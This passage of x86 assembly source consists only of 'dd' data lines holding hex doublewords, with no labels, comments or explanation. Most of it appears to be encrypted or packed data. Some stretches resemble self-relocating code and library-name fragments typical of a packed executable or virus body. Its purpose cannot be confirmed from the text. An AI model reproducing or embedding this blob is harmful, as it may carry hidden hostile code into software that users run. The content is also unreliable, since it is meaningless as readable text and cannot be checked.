dd 0B0926C6Fh, 0F4FAF1F6h, 530518FAh, 0E41C7BB2h, 65DBE08Bh
dd 3895D2A5h, 10C8AF89h, 34DBD6F9h, 50A3CF5Dh, 0AD6E504Ah
dd 48620DC7h, 32D69076h, 2D6C9274h, 5D34A70Ah, 767CCFCFh
dd 5D347B33h, 93AAFDCFh, 171CD4B9h, 442E1A20h, 0F2D8227Fh
dd 0BFE22138h, 0CF5D34F2h, 3633398Ch, 54F8B298h, 794A601Eh
dd 49416D24h, 0C2F9F1A6h, 341A141Ah, 4127C57Ah, 4325E387h
dd 54DDE589h, 0A1C7ADFFh, 5CEF337Eh, 0C9E80BCFh, 0B5CF5CEEh
dd 8D388B62h, 0FDB59C76h, 0EEEEC3E6h, 3588CF5Ch, 0F02F322Fh
dd 5CEEE4CDh, 30479ACFh, 5CEEA40Dh, 8187DACFh, 1B9AC65Fh
dd 0AF30457Bh, 8D736D73h, 1C6D4467h, 0B60929BAh, 1639310Bh
dd 959B533Ch, 6487C673h, 29BAA14Dh, 7CD0D629h, 0F2AC9296h
dd 714BF6EDh, 0F31F6228h, 415734DEh, 0CFA24515h, 382F34ECh
dd 0C2FDC734h, 4B38BCh, 6B450000h, 0A2C4CA82h, 14EE4DD1h
dd 0A10BA3C6h, 1A6D29BAh, 89432903h, 0C4C66183h, 0C733442Bh
dd 19D3B90Eh, 0A7191D14h, 6E8530A7h, 0F3A50C2Fh, 7ED129B9h
dd 65E85678h, 0E5A48Bh, 75979D48h, 4E08ECC6h, 224C5249h
dd 38h, 0EE4DD1B8h, 0DC9AC614h, 0E564EEE6h, 0CC38F94Eh
dd 0D827D1C8h, 5E5073D2h, 2329BA4Ah, 9AC6E2BCh, 0ADC037AEh
dd 8FEEF445h, 0EEF32450h, 0DD74AA2Dh, 442BB5D7h, 0A2E8B28Ch
dd 0BAAFB6E2h, 0AEDEC029h, 37FFFFFCh, 0B7BC745Dh, 0C698BAC0h
dd 484D05ECh, 0A5084B51h, 9C29BAA0h, 11C9AC70h, 210FBC0Ch
dd 2BEBA821h, 0E9BBD580h, 3F57F304h, 67B87957h, 701BC67Eh
dd 0BAF71A59h, 0C429BAA0h, 0D71E6B71h, 29BAA0DAh, 252AE2C9h
dd 0A1129FC2h, 196C29BAh, 0C6CB8567h, 34EA3D0h, 0E0034259h
dd 29BAA0D1h, 0DF545AADh, 9B533882h, 0B7C8AF81h, 9CF04D56h
dd 3E5803B8h, 0C0D60C12h, 67426A82h, 1C21D9BEh, 0B8CF7A25h
dd 3B40FADEh, 0F7A25A3Dh, 1D5DA4F1h, 3A6BEC3Bh, 0F82684D9h
dd 13166202h, 224h, 0A0CCE25Dh, 0AB7529BAh, 0F736758Ch
dd 0BAA0DDD4h, 7B365929h, 329BAA0h, 0F72DD9B0h, 0CF993F47h
dd 1A5D630Eh, 2E5A7EACh, 69486B2Ah, 0D521DA81h, 0DA80FFB2h
dd 4D247721h, 63354FFAh, 0D5AFC67Eh, 0E43137F1h, 0AC2A781h
dd 6B230A04h, 0C9816866h, 37EFD8B2h, 0E2E7A185h, 4098E5EBh
dd 193C53D0h, 267A9D41h, 8B64B7h, 91E60F30h, 0D4F7AA8h
dd 0C1A90000h, 341BED07h, 0AB90627Ch, 1E07D9F3h, 987A4C66h
dd 466FC4DEh, 1B35EFD1h, 91AB6549h, 0A24DCBFh, 7E985238h
dd 2190B39Eh, 5D21D447h, 452B51EBh, 0E22E868Bh, 0D40B2E45h
dd 222E5CE9h, 0F9DEB8CFh, 70552741h, 5588294Ch, 9BEE21D4h
dd 4988EBF0h, 0D4558B26h, 0B499F321h, 5500F7FCh, 55961B3Eh
dd 8DE021D4h, 0E6A78D87h, 989D4802h, 3C53D040h, 74709919h
dd 0B38CDF26h, 0E615472Eh, 0CAACDAC3h, 2E00000Ch, 0A0728C46h
dd 15E701B9h, 8C5E7830h, 0FFD1EBA3h, 0F449631Dh, 0BA7456CBh
dd 30EACEA0h, 0A9614416h, 1DD7BD8Fh, 15382303h, 21D4459Ch
dd 2BD670E2h, 23868B45h, 0A8AE6649h, 586FCC54h, 5AB4C935h
dd 0E5FC4F2Eh, 676C240Bh, 36086A70h, 0D1AC3D50h, 81141E96h
dd 346A476Ah, 0C11421DAh, 0E6C0FF16h, 624F4A04h, 1C21DA34h
dd 3561C3C9h, 850DF3EBh, 0E197A641h, 0EEFC1F36h, 68267C5Ch
dd 0DB2B86A9h, 5329B3h, 7F643E55h, 0EFD6B0C7h, 98CF3137h
dd 52A65C6Ch, 0AAB037D5h, 0E13CBB0h, 6B702A10h, 0FD50D13h
dd 0B0012488h, 0C629B41Fh, 50C56F73h, 0AE889F4Ah, 6B230AC9h
dd 385BBAC0h, 2E54327Ah, 4C06EAC4h, 2B4A5047h, 8500FFD8h
dd 3019EDF5h, 0BF402h, 621C0400h, 0D78F7648h, 4E06EBBDh
dd 0C1796234h, 39F3D5A7h, 2CE1CA1Fh, 0A476904Ah, 1AEC06C0h
dd 93657F37h, 0F9D9F3ADh, 45C6EB0Eh, 3EB021D4h, 8B452BA4h
dd 45E22E86h, 2F15EF2Eh, 0C62C6F75h, 302E5A7Fh, 0E19AC6DDh
dd 0B9930B20h, 0BA8CEEF4h, 2F011BD3h, 7E78924Ah, 4D6487C6h
dd 0E929BAA1h, 0BAA0EBC6h, 69409329h, 54BC1016h, 0B99DC0D7h
dd 0CF2E5A82h, 7F446D90h, 0E73A21DAh, 8368C2E1h, 0D41B20CBh
dd 21DA7ED9h, 50AE0364h, 53D4C812h, 0ECA68862h, 72FFB2D5h
dd 247721DAh, 959A1Eh, 2BE40000h, 0E49C8544h, 383DE8DFh
dd 5F19FBD5h, 0C0785F59h, 1CD4BDBBh, 5275B417h, 29BAA15Fh
dd 7C355817h, 229BAA0h, 4FE04AFh, 0DBD6F91Dh, 0A329BAA0h
dd 5F8BA550h, 385B72B1h, 2E5A9F56h, 2BE3C6A0h, 0D8DE9679h
dd 0DFBD0DB9h, 0DA0BAC5h, 28908962h, 0C4ADEDEFh, 0AF896h
dd 5E180000h, 0D38B7244h, 4A02E7B9h, 0BD755E30h, 35EFD1A3h
dd 281DC61Bh, 0A0728C46h, 16E802BCh, 8F617B33h, 0F5D5EFA9h
dd 44CAE70Ah, 42B421D4h, 8C442BA8h, 557072h, 2B060000h
dd 2F878C44h, 0EC2B42E1h, 0CC2A92C0h, 262C9B5Dh, 5A5577E3h
dd 0A57ED12Eh, 0EDEF67C2h, 9ABCEAD3h, 5E00000Ah, 0D0A2BC76h
dd 451731E9h, 0BC8EA860h, 2F011BD3h, 2479934Dh, 0EAA486BBh
dd 601AFED0h, 0D9917446h, 4D07EDBFh, 45685333h, 21D4446Ch
dd 2B06A012h, 88868B45h, 6EE3E8A2h, 5C8AE03Dh, 775434E6h
dd 247h, 1E42B3C1h, 8E482EF2h, 0D0E79289h, 5AA5B9ADh, 0F1D52F2Eh
dd 903B3237h, 0B43A4D79h, 0FBA43034h, 0D9ACD9D8h, 0A752A521h
dd 53BDA4A1h, 0E9D24C15h, 696E260Fh, 8186C72h, 0A1F1142Bh
dd 9739E358h, 39E73F44h, 15C0E3FAh, 713AC296h, 0EEC8071Eh
dd 0AB634C0Bh, 16FDFB00h, 0B3ADB35Eh, 27F913CDh, 0D1AE8741h
dd 0E6DA8327h, 9E7CFFDh, 29110000h, 9C83556Fh, 13F8CAE4h
dd 866F415Bh, 0E2B4CEh, 0EED72C46h, 839D5739h, 0F913CDB1h
dd 728C4427h, 0E600BAA0h, 0B9F81B06h, 0C521D443h, 442BB953h
dd 0E12F878Ch, 20082B42h, 562E5CEAh, 2E12EC03h, 0A4885A74h
dd 9D4800E3h
dd 0FAD04098h, 2362104h, 0DD957EABh, 8B36E1D8h, 0A2515174h
dd 0B4072674h, 25DFC39Dh, 9B55390Bh, 0F8B29896h, 14F4481Fh
dd 4A7861E6h, 96Dh, 0CFE9A38Bh, 445E16FDh, 0BBD58D72h
dd 2E4800E9h, 0A6C07A5Ch, 0D1B36851h, 472BFD17h, 0BEA1738Dh
dd 341AEC06h, 9580607Ah, 0D4433F72h, 2BC53721h, 0A48862EDh
dd 18A1E4EAh, 9B29BAA1h, 0E82116Eh, 0EB0E2502h, 2E5AA2B7h
dd 0AC2A781h, 775C0E05h, 0BDC3BABFh, 0F5344B9Eh, 7A7F391Bh
dd 0DADF977Ch, 383238E3h, 55819B53h, 0C57F65CBh, 71EC9C0h
dd 780C81E4h, 9BB20526h, 721DBC1h, 436E91D0h, 3B29B7F5h
dd 2E8E2E8h, 9D9E6F48h, 0D2BBE611h, 8D8A4h, 7E382000h
dd 0F3AB9264h, 6A2207D9h, 0DD957E50h, 550FF1C3h, 48FDE63Bh
dd 0C092AC66h, 360822DCh, 0AF819B53h, 15F50FC9h, 42AA072Ah
dd 62D421D4h, 0A0CBE2C8h, 916B29BAh, 0F3EDF3ADh, 0B06A4C0Dh
dd 0B45F17FEh, 22DAC39Dh, 0EC0F261Dh, 29BAA0C5h, 0F6585EB1h
dd 545D80BFh, 2A29BAA1h, 2C31E9D0h, 30848A35h, 522C43E0h
dd 0BBB2B76Fh, 696E2609h, 0EA0D6C72h, 2E5AEEEBh, 964E310Bh
dd 75949A91h, 8DCC0B22h, 0DA53476Ah, 5BF10221h, 4AB83EBh
dd 0DAD4DA2Dh, 1B0D3F7h, 7D21DA80h, 80853F23h, 1933DE89h
dd 0A7AC6447h, 7E041844h, 0CFC8942h, 6CDFD2F5h, 449721DAh
dd 81B143Eh, 936D0000h, 0B2989BACh, 4AAA77C6h, 0D177999Fh
dd 0B6D9F04Fh, 2E5A9010h, 0E72E3386h, 21DA6FC6h, 63B91677h
dd 53D4DB27h, 15C50h, 482B9A00h, 0A98D8B90h, 6ECEAEFh
dd 6649474Ch, 7DA0C4A7h, 29BAA134h, 0A14CF74Ah, 13D2B587h
dd 7B727731h, 282DE7C9h, 29818631h, 512B42E1h, 0B7AEB36Dh
dd 62672105h, 0E306656Bh, 29BAA0A6h, 52484DA0h, 9B7EC825h
dd 14F7C9E3h, 0B510575Ch, 5629BAA0h, 0B6B4B971h, 0A11419D1h
dd 22CC176Ch, 0FE998F5h, 0D0E10428h, 0A629BAA0h, 0A8A2A853h
dd 0CAF60DC5h, 826BB367h, 0CACEC5CAh, 898F0204h, 0A813FB27h
dd 0BA262C85h, 70935229h, 29BA2641h, 943FEA3Dh, 2BAA37Dh
dd 25E9C8EBh, 429529BAh, 0FFBADD3Ch, 7729BA25h, 3D211F24h
dd 0B3976983h, 10F6F4F9h, 2E5B5156h, 36F622D1h, 0C6806214h
dd 0FE19BBC2h, 601AFEF8h, 0D6907446h, 545D80BFh, 2A29B9BAh
dd 0BA69486Bh, 0C21529B9h, 6CC41117h, 4D7087A4h, 2E59D59Dh
dd 946680D3h, 8EF1F6B0h, 0A6852C4Fh, 9EF121D9h, 5959279Ah
dd 9399652Eh, 0A0FFD73Fh, 96C79E7Eh, 0FAA55F43h, 0A015384Fh
dd 0D621D9C1h, 0EE753C2Ah, 0D37EAB0Bh, 56ABD8CEh, 7C5F2004h
dd 2DFF19C4h, 328A8F49h, 0A8674AEEh, 5B600BC3h, 7FA2B964h
dd 267A8313h, 0B36D532Dh, 89C65EAEh, 5E0C2B70h, 3B8EADB3h
dd 0B16B4F21h, 0A2866097h, 0E6ECE3E8h, 375109ECh, 0AECC63Dh
dd 50544B50h, 35A6C2Ch, 2C808673h, 0F9B8DBE4h, 8529B9E3h
dd 4D708732h, 2E59C709h, 29272C7Fh, 76708A42h, 4F07ECC6h
dd 0A29F549h, 0A0EFBE05h, 0C9AC29BAh, 290E0C11h, 23CE886Ah
dd 0DA37EC1Eh, 0C9268797h, 34EA3773h, 416054h, 2BAA0000h
dd 9B758C44h, 0FEF5FAB2h, 4D64ABF8h, 4E29BAA1h, 0AEACB169h
dd 0DB0D12CCh, 1C2DC926h, 6A772649h, 88B55F0Ah, 42FAE12Bh
dd 88640D28h, 0AFC629B9h, 4730F1D5h, 0E8DFE48Fh, 0FF96B8E2h
dd 2B4EFFFFh, 0D8B18B45h, 0EE4DD1B2h, 1FC9C314h, 5734DEF3h
dd 461Ch, 65FD2900h, 0B56C4D9Ah, 0D147696Fh, 0C614EE4Dh
dd 0BAA10EA3h, 0FE156829h, 82873F24h, 0C663858Bh, 8C442BC4h
dd 4874975h, 76AD11B7h, 1F25DDC4h, 0C6A2E8FDh, 3569F9Ah
dd 6960651Fh, 0CACE3965h, 259AC4h, 0D1300000h, 0C614EE4Dh
dd 0BAA10EA3h, 320C7329h, 0CBAD87C6h, 2BE90B11h, 36758C44h
dd 0BAA09E13h, 7F85D829h, 0C6A2E85Dh, 474C06ECh, 0EC94C50h
dd 5190CE77h, 0B46C514Bh, 9E4E719Dh, 31330780h, 6569C03Eh
dd 1A20529Fh, 0FB2B86CDh, 967829B9h, 2F34ECD5h, 8A888D38h
dd 73E6EBA3h, 0F49EE13Eh, 0DFD0B1DDh, 26AA146Ah, 3EABFB81h
dd 989E4956h, 977CCE23h, 4F8EC5DFh, 0BA79852Ch, 238EB129h
dd 5B29BA7Ah, 0D8DE3108h, 0BA89AF95h, 3B7F6129h, 15FFFFF3h
dd 70859AC6h, 691936B7h, 5E826963h, 0BA46763Bh, 2AD0029h
dd 0D054BCE8h, 708732ECh, 5A5DB14Dh, 6A4DA72Eh, 0BB6ADB2h
dd 54EEBF06h, 0EE4F21DAh, 0AA0F3B91h, 0E4D53D4h, 0DA4CC6EBh
dd 465DB021h, 0DA4C8E23h, 8F95E821h, 70Bh, 1FB5500h, 91000000h
dd 0D9F04FD1h, 5ABE48B6h, 767BCE2Eh, 0BFD99178h, 0DA81F3A4h
dd 0DD957821h, 0CFB28CC3h, 34171117h, 3B01777Ch, 0FEE4BEDDh
dd 74C93E44h, 6D873F22h, 57FBB59Bh, 0E2F9B399h, 0D8FB1F08h
dd 21DA81D9h, 0A2A752A5h, 81951C3Fh, 8EE121DAh, 0E9F1DDE3h
dd 0D3B90360h, 1F9E6419h, 54B4DEE3h, 1040Ch, 9AC65600h
dd 0C2C4A39Ah, 32ECCE11h, 858B362Dh, 704AE931h, 0A10BA3C6h
dd 0B87829BAh, 0C1B8CE8Eh, 431DC8D5h, 48B0C4C6h, 8B452BDAh
dd 4C9AC6B1h, 63645EEAh, 0BABF7760h, 0C51218C3h, 90A18862h
dd 595559Bh, 0E5EB9634h, 0EE4DD1C3h, 5ECC614h, 4B51484Dh
dd 0F31FEFE9h, 415734DEh, 0A0D2DF02h, 59AC26BAh, 46CF53h
dd 0D1190000h, 98D7EE4Dh, 0BAA13C75h, 0AE964229h, 0E1C3D87Ch
dd 0F3151BC6h, 4D6487C6h, 2929BAA1h, 4E71D0D6h, 29BAA163h
dd 72B1C81Bh, 0BAA1624Fh, 17C91C29h, 7C737830h, 0C4C65476h
dd 0B28C442Bh, 3FFBA2E8h, 91000000h, 14EE4DD1h, 4D6487C6h
dd 2929BAA1h, 0A16A476Ah, 0C11429BAh, 72B11016h, 7D63D346h
dd 0B894CBBAh, 1FCCC6B6h, 0DB1E24CFh, 29BA3BD6h, 0EAA48660h
dd 0D4E8EEE5h, 0C4C6936Dh, 0B28C442Bh, 9AC6A2E8h, 47C09FAEh
dd 0F6BBDE2Eh, 8029BA5Dh, 527C822Dh, 0FFFFFEF3h, 8B452BE8h
dd 0E8A28886h, 0BA7EA2CEh, 5B721DD5h, 0A0B8F91Ch, 6BBE29BAh
dd 1BE30665h, 1D2E5AA7h, 2F7EC5CAh, 0E21DA9Bh, 0CCFA50ADh
dd 0E753D4E0h, 34h, 844FD131h, 0BAA15061h, 0AD674B29h
dd 0C1D883D6h, 5AA0549Eh, 5257AA2Eh, 0DA9FA20Bh, 0E53A9B21h
dd 708022Eh, 0E2BAA732h, 2CA8D6DCh, 0D4C353D4h, 0D000000h
dd 868B452Bh, 0E7ECA688h, 324903E9h, 783019F3h, 30817C73h
dd 4629BAA1h, 0A2A0EDF3h, 11EB02BCh, 756C712Bh, 1F25DFC3h
dd 0A4D7A2BDh, 15EF29BAh, 0E3C57731h, 43292329h, 0B79D6F89h
dd 70A0F8FDh, 0AD799CB3h, 0AB2E5A7Eh, 0E123E58h, 5E401A31h
dd 0A2A89FA4h, 0B2D80443h, 0EBFEBC85h, 48971A3Dh, 8CDF21DAh
dd 5E98DBE1h, 982677C5h, 0BCFBB6D9h, 308329B7h, 0B1946E85h
dd 0F7FDF4F9h, 22DCBE98h, 9A543608h, 11D586C1h, 2E17E6h
dd 265h, 0D7F1AB93h, 4C661E05h, 0C3DD957Ah, 365008F1h
dd 0AEC88264h, 0D9BB7059h, 4F33051Fh, 0C6A97B95h, 3C22F40Eh
dd 9D886882h, 0D43C377Ah, 33CD3F21h, 788F492Bh, 0FE03BB9Eh
dd 0B46C5507h, 947A4CAEh, 0D1C6C0DAh, 0B6D9F04Fh, 2E5AA03Ch
dd 0CA8468C2h, 0DAD31A1Fh, 0C121DA9Fh, 0D02025DFh, 206BC6DDh
dd 0CCB567D5h, 0EC190F14h, 0F13C4C97h, 7A9BD0C5h, 0AFB58F72h
dd 5B87E53Ah, 7453D439h, 0D1h, 6487C6BEh, 29BAA14Dh, 0D6D0D629h
dd 0F31F36F0h, 0ADD09EDBh, 29B9CE04h, 3A23277Ah, 290BBDE2h
dd 1E1C696Fh, 9624293Ch, 0B4115116h, 0BCBD0409h, 9229B9C4h
dd 161BD3B8h, 0CD876D1Fh, 0D1CBD1C8h, 451731EBh, 0BA9E5Fh
dd 12123E55h, 2422C83h, 0F5A05A3Eh, 0C64AA2EFh, 0F72F5269h
dd 712E59B3h, 0F3CD041Eh, 0FC50560Eh, 0DD001714h, 26772A7Ah
dd 0C3EE11D0h, 0BB29B84Ch, 0CCA6BD68h, 441630EAh, 9ACFA862h
dd 2FE61145h, 1571846h, 0B9A10000h, 2C13E5FFh, 0A3885A74h
dd 16FFD1EBh, 9072445Eh, 7E67BCD6h, 132DE7C9h, 89A35D41h
dd 21CD4B7h, 76904A30h, 2988AB96h, 5521D43Bh, 492B49E3h
dd 643E758Fh, 0CDC4C981h, 26E7CDC7h, 0C0DA853Dh, 8B452BC6h
dd 7CA28886h, 0BAA15859h, 0C7CB1E29h, 64CE1E2h, 0CFE69140h
dd 0F1446D90h, 0E73A29B9h, 1C487FE1h, 70D24CBCh, 0C07A5CA7h
dd 1319C4BBh, 0BBD251BFh, 59A90A98h, 0EA01542Eh, 6B712910h
dd 924C320Ch, 6C0A678h, 0C867A901h, 0F3928EB1h, 75C8267Bh
dd 15A36D9Ch, 0EF1D06E6h, 0B5h, 87A15B43h, 0FC16CEB5h
dd 738D452Ah, 0E600B8A1h, 5E783214h, 896BA009h, 0FFE3B5CFh
dd 76592B45h, 0ECD2A4BEh, 4D381832h, 0D439872Ah, 0E37DEF21h
dd 0D9F04FD1h, 5CEB86B6h, 0A4A9FC2Eh, 0CB856741h, 2BE5CBC5h
dd 98593F11h, 484DF8B2h, 6E260BE5h, 296C7269h, 4D2F7322h
dd 6A4F2948h, 0DA37ACB2h, 0D9F0AA90h, 5A5F19FFh, 29FB5D63h
dd 0FD703043h, 539740CEh, 0BCA5A3A8h, 5B6018FDh, 0B5DCD5F8h
dd 4FA2AE70h, 0F6F4F9A4h, 56545911h, 61B1B670h, 0A6E463Ch
dd 0DC9D7DBDh, 65923C87h, 1ED8BE08h, 924C3204h, 0F9B8A17Bh
dd 0A8AE5913h, 32D5Bh, 24C30000h, 89432B66h, 0E6A08684h
dd 4800E3E1h, 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h
dd 25DDC2C0h, 833B2220h, 0EC836D7Eh, 24148904h, 0C281E289h
dd 4, 8704EA83h, 535C2414h, 0C381E389h, 4, 8704EB83h, 895C241Ch
dd 0AC68242Ch, 8900007Dh, 0D168240Ch, 8B07E64Ch, 0C483242Ch
dd 0C8B5404h, 4C48124h, 53000000h, 8BBh, 89CB0100h, 241C8B2Bh
dd 8B04C483h, 8951240Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h
dd 2434FF5Ch, 4C4835Dh, 0FA1872E9h, 0B8DB8DFFh, 7E667F2h
dd 0C650C503h, 0E0075985h, 25684707h, 0FFCF3817h, 0E02F01B5h
dd 0F8858D07h, 0FF07E039h, 8DD88BD0h, 0E0021585h, 4685007h
dd 0FF000001h, 5985C6D3h, 5307E007h, 7F8BF68h, 1B5FF83h
dd 8D07E02Fh, 0E039F885h, 89D0FF07h, 0E64A9385h, 0F5BD8307h
dd 7E02Fh, 0B840Fh, 9D8B0000h, 7E01949h, 5E9h, 0BB00h
dd 680000h, 8D000001h, 0E64A97B5h, 0FF535607h, 0E0235995h
dd 97B58D07h, 307E64Ah, 1E9F0h, 804E0000h, 840F5C3Eh, 9
dd 0F2F3E80h, 0FFFFED85h, 6C6FFh, 4A97858Dh, 0FF5007E6h
dd 0E64A9395h, 0E0FF5807h, 456507F1h, 73E3B0DCh, 57189DD0h
dd 0D7A973Eh, 487191A2h, 6396DD02h, 6C3A43BCh, 3A93A944h
dd 53455DD8h, 437B4A8Bh, 1BE65DA7h, 50C94987h, 37A8C1AFh
dd 2DA0688Eh, 70B7E3C0h, 501C3BAh, 152D8DAAh, 4D43C433h
dd 396E996Bh, 3C461E84h, 4A823570h, 4142FA73h, 6A6E8D8Dh
dd 6A07E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 87A39AC3h, 23A99D8Bh, 8D8907E0h, 7E01815h
dd 9960BBEh, 4985C707h, 1807E020h, 6A000064h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 0C7E4C356h, 0E022C585h, 7, 0A1BD8B00h, 0FF07E00Fh, 0E023C5B5h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 85B529B5h, 0B807E00Fh, 0D9E1A05h, 209195FFh
dd 6A07E0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 0E7872FC3h, 1978B68h, 0E0243DBDh, 0DE807h
dd 0BABC0000h, 3F8488EEh, 0FD39173Eh, 0E80D6223h, 5, 0C6B1BA9h
dd 0C58D8903h, 5F07E005h, 0F9BD2958h, 6A07E020h, 0A995FF00h
dd 8B07E018h, 451CEBC0h, 0ACADB1D9h, 0F0ACCC43h, 9072C27Dh
dd 2E00FC6Dh, 0CDD0A128h, 5DBC7121h, 8DBBC88Ah, 0E66B668Dh
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 158D89DBh, 6A07E018h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 5148C355h
dd 85C7C68Bh, 7E02049h, 72E0h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 41C35646h, 293DBD8Bh, 952907E0h
dd 7E0170Dh, 22C585C7h, 7E0h, 89600000h, 0E01D09BDh, 81952907h
dd 6107E000h, 2A5DB5FFh, 0FE907E0h, 41000000h, 3CE4AA55h
dd 0B3EC8497h, 382373DBh, 95FF13E2h, 7E02091h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0CC35545h, 6AC18B07h
dd 0A995FF00h, 8B07E018h, 1B2AEBC0h, 0E1A0E7CFh, 0D740C3C1h
dd 0C1C1EF91h, 1C8274A3h, 4230BE01h, 71BFDF99h, 0F25C7D72h
dd 163E5C69h, 0DBEF8B80h, 0B3B3E47Fh, 11E8D0h, 7DAF0000h
dd 0E43A18F7h, 3185748Ch, 0CB0E8670h, 8BB6CB2Ah, 0E00461BDh
dd 0B5015A07h, 7E02E69h, 6BD0C281h, 8B660000h, 1ACCBEC7h
dd 8BFC0000h, 93F3811Ah, 0F3FA264h, 48Fh, 0BEB86600h, 0CDC381B7h
dd 293323DFh, 0E010799Dh, 0B2F38107h, 95A9E32h, 0E00DF1B5h
dd 0D5B05307h, 8D8B028Fh, 7E01B6Dh, 2904EA83h, 0E0119D8Dh
dd 1EE8107h, 0F000000h, 1C85h, 0F9958900h, 0E907E00Fh
dd 22h, 85AC6FBDh, 26FF339h, 2D1BBB47h, 60904F8Ch, 0FF95E9C9h
dd 5F0CFFFFh, 378BC87Ah, 0A74EC530h, 13E8D3D0h, 0EE000000h
dd 95842E24h, 0FA63C6E7h, 308B73C3h, 2D774FC9h, 816694F0h
dd 59E417EEh, 29298D89h, 0C18107E0h, 5EAEh, 0BFh, 7CEE8100h
dd 0FF457ADAh, 890F0F34h, 3, 5A2AE380h, 14E9h, 968BD900h
dd 51FC2CD9h, 25624BFDh, 0B029467Ah, 4525CFC9h, 0C7EA817Fh
dd 0BE3B351Fh, 16178D7Eh, 1C32EA81h, 0EA813024h, 1F3A53DCh
dd 9CF0BB66h, 48FF852h, 81B58B39h, 0E907E01Bh, 5, 0AB2746B0h
dd 2EF8341h, 2B60F860h, 0E025998Dh, 6161F507h, 8B0F4F4Fh
dd 0
dd 0A1F8FF81h, 850FFFFFh, 0FFFFFF87h, 13E8F5h, 1FC80000h
dd 0EDF0BCAEh, 92B5920Dh, 9725910Dh, 6A2ED2F7h, 0A6F28177h
dd 5F76EF39h, 81C8F180h, 5E4BC7h, 559D8900h, 0BE07E001h
dd 1769h, 8BC5E180h, 0FE9501Fh, 6A000000h, 392BA5FBh, 0D0E6F129h
dd 0E2DB1458h, 8159F4E4h, 7119F6EBh, 0FE829h, 59980000h
dd 7D27B8DCh, 923BCFBFh, 135FD03h, 6830F95h, 81000000h
dd 7A6DFCE2h, 0C381592Fh, 6EA2E75h, 81D18B66h, 35CDB5F3h
dd 896AB92Ah, 81532471h, 21C354E2h, 81078F10h, 0E2DBBCC0h
dd 4EF834Fh, 2A959D89h, 0EE8307E0h, 8C850F01h, 89FFFFFFh
dd 0E0312585h, 40E907h, 4C790000h, 8C930C19h, 0E89DE61Dh
dd 746E2E81h, 2E6C6C64h, 6C6C64h, 0B2BD1467h, 0FEB98003h
dd 8 dup(0)
dd 0BEE90000h, 68000006h, 7E66F3Dh, 0FA12EAE9h, 6FE568FFh
dd 0E0E907E6h, 68FFFA12h, 7E670A4h, 0FA12D6E9h, 718568FFh
dd 0CCE907E6h, 68FFFA12h, 7E67222h, 0FA12C2E9h, 730A68FFh
dd 0B8E907E6h, 4EFFFA12h, 0C092AC66h, 350721D9h, 0AC7E9850h
dd 1FF10BC3h, 1469833Dh, 0DA9476ABh, 500AEEC0h, 0C9816436h
dd 3DF7DDAFh, 35584323h, 21D4327Ch, 8DB99002h, 1D33623Bh
dd 62848AADh, 38FBh, 48285400h, 7AD48610h, 2B3F6167h, 9B4F3245h
dd 0C2E67101h, 2E141217h, 6E3F5A74h, 0C829BA06h, 0FC9AF89h
dd 0BA059D14h, 3B769929h, 4329BA06h, 0C0C619F0h, 112BE3C6h
dd 0F04FD117h, 196E9AD9h, 44021389h, 46F1A98Eh, 0DCD1FD40h
dd 0CD272E59h, 6F8631EBh, 0F3F8B095h, 0AF674AFCh, 98155CA9h
dd 0A521DA1Ch, 5591EF44h, 7E53D46Eh, 237h, 0F5BDB3C8h
dd 0D2F50C2Bh, 2E5AA594h, 8E687FD2h, 0EBE8EEA8h, 6E280EE8h
dd 0FE992568h, 26EAE5B3h, 0FFCFF209h, 796A8BE8h, 0D37E361Fh
dd 8DAA76CEh, 775D3776h, 0BBC1B8BDh, 2B565D78h, 0F71AD96Ah
dd 65ECA9BAh, 0AFC671C4h, 1E35EFD5h, 0A9F5BCDFh, 2E8165ECh
dd 0A9BDF417h, 66B965ECh, 462CFE60h, 0C9A4B38Ch, 543DA9DCh
dd 4A926h, 0C6806800h, 3BF3DAACh, 0B26A4F21h, 25DDC698h
dd 9D57390Bh, 90852E83h, 8DAF4AEh, 7E506A24h, 0F7C9E39Bh
dd 5D3D5711h, 32624F72h, 0AA1C21D4h, 1F452B10h, 0BAA0B5FCh
dd 0C36EC129h, 7DBA66BEh, 89934366h, 0A2F52E5Ah, 90775188h
dd 0D6DCD3D8h, 7AA6EC64h, 6A15CDB6h, 7D363053h, 56B0267Ah
dd 0BEB5BA74h, 0B1775E13h, 72B126E9h, 4E7A91AEh, 0E349B13Fh
dd 7FDEE489h, 0BD10725Ch, 9AB10495h, 1A20DAC0h, 8CAB75CDh
dd 8D835275h, 0B0038EDCh, 1FD9BF99h, 8C4D3305h, 0F5ECF1A9h
dd 168714Ah, 1C057EADh, 401EEh, 6E281000h, 0E39B8254h
dd 5A12F7C9h, 0CD856E40h, 45FFE1B3h, 38EDD62Bh, 0B0829C56h
dd 26F812CCh, 9F718B43h, 5E5FFB9h, 31BAF71Ah, 52C421D4h
dd 8B452BB8h, 45E22E86h, 90770B2Eh, 0A7012E5Ah, 0A0106BEh
dd 0F719455Fh, 1DFE2138h, 35267C9Ch, 43DED3F6h, 459829B4h
dd 2274203Fh, 0EC9D1C9Fh, 704A610Ch, 7041648Ah, 629B414h
dd 17F108B3h, 0E4C67830h, 8BC2242Ah, 1388294Ch, 9BEE29B4h
dd 0FBB59B95h, 0E1E0B8E4h, 5B59684Eh, 0D1902144h, 93E629B3h
dd 38E8408Dh, 765154A2h, 2B103A84h, 61DC873h, 0B2319BC7h
dd 0BA90C95Dh, 9A7D71B4h, 0A8FB2E53h, 0F5995CCFh, 56846DEDh
dd 342h, 132DE7CFh, 88A25A41h, 0FF19D1B6h, 728C442Dh, 0EA04BEA0h
dd 15F72C95h, 8B6F415Bh, 2E5B7D1h, 785E304Ah, 0D9C4A4BEh
dd 0D430FBB6h, 77118321h, 9F84452Bh, 40EBE2E7h, 0A53DE33Bh
dd 0CFD798AFh, 4657779h, 0A0D72761h, 0C46CF1F5h, 8D731A5Eh
